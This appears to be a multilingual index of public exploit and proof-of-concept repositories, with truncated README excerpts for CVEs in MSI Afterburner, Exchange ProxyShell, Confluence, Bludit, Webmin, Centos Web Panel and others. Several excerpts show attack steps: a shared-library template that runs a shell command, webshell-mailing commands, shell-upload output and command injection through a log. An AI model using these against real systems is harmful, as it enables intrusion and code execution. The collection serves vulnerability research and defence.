CVE-2019-16098

CVE-2019-16098 Micro-Star MSI Afterburner 4.6.2.15658 中的驱动程序（即 RTCore64.sys 和 RTCore32.sys）允许任何经过身份验证的用户读写任意内存、I/O 端口和 MSR。此漏洞可用于权限提升、高权限下的代码执行以及信息泄露。这些经签名的驱动程序还可用于绕过 Microsoft 驱动程序签名策略，部署恶意代码。 更多更新，请访问 CVE-2019-16098 警告 ：硬编码的 Windows 10 x64 Version 1903 偏移量！ Microsoft Windows Version...

CVE-2023-30547

CVE-2023-30547 Descripción de la vulnerabilidad vm2 es un sandbox que puede ejecutar código no confiable con los módulos integrados de Node en lista blanca. Existe una vulnerabilidad en la sanitización de excepciones de vm2 para versiones hasta la 3.9.16, que permite a los atacantes lanzar una...

CVE-2022-39197-POC

CVE-2022-39197-POC English Version README.md 漏洞介绍 根据9.20日CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍， 一位名为“Beichendream”的独立研究人员联系我们，告知我们他们在团队服务器中发现的一个 XSS 漏洞。这将允许攻击者在 Beacon 配置中设置格式错误的用户名，从而允许他们远程执行代码RCE。 POC介绍 目前POC仅可以实现teamserver弹图片。 集成CobaltStrikeParser的分析工具，直接载入payload即可一站式上线 使用方式 详情讲解请见我的博客 参数说明 -i...

CVE-2020-7115

CVE-2020-7115 数秒内创建你的恶意引擎 buildengine.sh 简单的脚本，用于生成一个恶意引擎 ，使其可以直接在 openssl 参数注入场景中使用。 如何使用？ 非常简单，只需修改 engine.c 文件，填入你选择的命令： include attributeconstructor static void init execl"/bin/sh", "sh", "-c", "COMMAND"; 完成后，只需按如下方式运行脚本： bash buildengine.sh 该命令会创建一个名为 output 的文件夹，里面包含一个名为 engine.so...

CVE-2021-28476

CVE-2021-28476：vmswitch.sys 中的“Microsoft Hyper-V 远程代码执行漏洞” 这是 CVE-2021-28476（“Hyper-V 远程代码执行漏洞”）的概念验证，该漏洞是 vmswitch.sys（ 网络虚拟化服务提供程序 ）中的任意内存读取问题，微软于 2021 年 5 月进行了修补。 该漏洞由 @australeo、@ergot86、@peleghd 和 @OphirHarpaz 发现。客户虚拟机通过 VMBus（一种 用于分区间通信的基于通道的通信机制 ）发送恶意 RNDIS 数据包即可触发该漏洞。 以下是主机 系统在调试器中崩溃时的样子：...

CVE-2010-1240

CVE-2010-1240 PDF启动操作研究工具 用于演示 Adobe Reader 中 CVE-2010-1240 漏洞（通过恶意 PDF 启动操作）的教育研究工具。 ⚠️ 免责声明 本工具严格用于教育目的 和安全研究 ，旨在演示 CVE-2010-1240 漏洞。仅应在受控环境中使用，以学习 PDF 安全机制和漏洞研究。 请勿将此工具用于恶意目的。 📋 描述 本项目演示了 CVE-2010-1240 ，这是 Adobe Reader 中一个通过恶意 PDF 启动操作实现任意代码执行的关键漏洞。该漏洞影响 Adobe Reader 和 Acrobat 9.3.3 及 8.2.3...

CVE-2020-14750

CVE-2020-14750 PoC para las vulnerabilidades CVE-2020-14750 y cve-2020-14882 Para probar si un sistema es vulnerable usar: ./test-CVE-2020-14750 nombredelhost:7001 De momento, en esta versión, sólo garantiza si el host es vulnerable, si el resultado es negativo no es garantía de que no sea...

CVE-2017-7269-exploit

根据 https://github.com/edwardz246003/IISexploit.git 修改得来 用法 -h ：选择主机（默认127.0.0.1） -p ：选择端口（默认80） 末尾跟上 command 命令（默认regedit，目前该脚本只支持最多8个字符）...

CVE-2025-5548

🛡️ CVE-2025-5548 – Exploit de Desbordamiento de Búfer de FreeFloat FTP Server 📌 Descripción general Este repositorio documenta el descubrimiento y explotación de una vulnerabilidad de desbordamiento de búfer basada en pila en la aplicación FreeFloat FTP Server. La vulnerabilidad reside en el manej...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] 单个获取 python sendwebshellmail.py https://mail16.echod.com crack 批量从mail.txt 读取邮件，进行尝试获取SID token python sendwebshellmail.py https://mail16.echod.com [email protected] send 只发送webshell 草稿邮件 python sendwebshellmail.py...

CVE-2022-26134

CVE-2022-26134 ATLASSIAN-Confluence RCE 安装 git clone https://github.com/kelemaoya/CVE-2022-26134.git cd CVE-2022-26134 pip3 install -r requirements.txt 使用 单个url pocsuite -r ../CVE-2022-26134.py -u url --verify 批量URL pocsuite -r ../CVE-2022-26134.py -f url.txt --verify 免责声明🧐...

Commvault-CVE-2025-34028

CVE-2025-34028 Commvault 远程代码执行 CVE-2025-34028 NSE 如何在 Nmap 中运行： nmap -p443 --script CVE-2025-34028 --script-args='https-ports=443'...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 和 CVE-2024-46257 是同一个 POC，只需更改 provider 参数。 注意 有时 nc 文件无法在服务器上执行，或者无法执行命令！ 安装依赖 pip install requests 运行漏洞利用 python3 POCCVE-2024-46256.py + 目标类型 IP/主机? i/h: i + 输入 IP 或主机: IP/HOST + 输入端口: PORT + 输入用户名: USERNAME + 输入密码: PASS + 获取到的令牌: 自动获取的令牌 + 发送载荷: curl...

MiniExploit

MiniExploit WebMin 版本...

CVE-2019-16113-PoC

CVE-2019-16113 PoC Bludit = 3.9.2 远程代码执行漏洞，通过“上传功能”。 简单的 Python PoC。 由 @christasa 发现：https://github.com/bludit/bludit/issues/1081 使用方法 编辑脚本中的 URL、用户名、密码和要执行的命令，然后运行脚本： $ python CVE-2019-16113.py + 登录成功。 + CSRF 令牌：20b903ffe72490f004b9255521ea2e0419e73dce + Shell 上传成功。 + .htaccess 上传成功。 + 命令执行成功。...

CVE-2023-25355-25356

Exploit y créditos El exploit fue encontrado por [email protected] y se presenta en dos piezas increíbles: artículo de divulgación completa diapositivas de DEFCON31 Un repositorio para automatizar aún más esta vulnerabilidad ha sido publicado por Alex Linov:...

CVE-2025-2945-pgAdmin4-Authenticated-RCE-PoC-

CVE-2025-2945 – RCE autenticado en pgAdmin4 PoC Este repositorio contiene un script de prueba de concepto creado para investigación de seguridad y pruebas de penetración autorizadas que involucran la vulnerabilidad CVE-2025-2945 , que afecta a ciertas versiones de pgAdmin4. El problema permite qu...

Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 extends...

react2shell-scanner

🚨 React2Shell 扫描器 React 服务端组件中的 CVSS 10.0 RCE。你的 React 19 应用存在漏洞吗？ 用于检测 CVE-2025-55182（React2Shell）的快速、精准扫描器——这是一个已被在野利用的严重远程代码执行漏洞。凭借智能的服务端组件检测实现零误报。 🚨 关于 React2Shell（CVE-2025-55182） React2Shell 是 React 服务端组件中的一个最高严重级别（CVSS 10.0）漏洞，允许未经身份验证的远程代码执行。攻击者可通过向服务端函数端点发送特制的 HTTP 请求来利用此漏洞。 关键信息： 受影响：...

CVE-2022-44877

Centos Web Panel 7 未经授权的远程代码执行 - CVE-2022-44877 + Centos Web Panel 7 Unauthenticated Remote Code Execution + Centos Web Panel 7 - log ➜ CVE-2022-44877 cat log examplelog ➜ CVE-2022-44877 echo "examplelog $whoami" log ➜ CVE-2022-44877 cat log examplelog examplelog root ➜ CVE-2022-44877 概念验证： POST...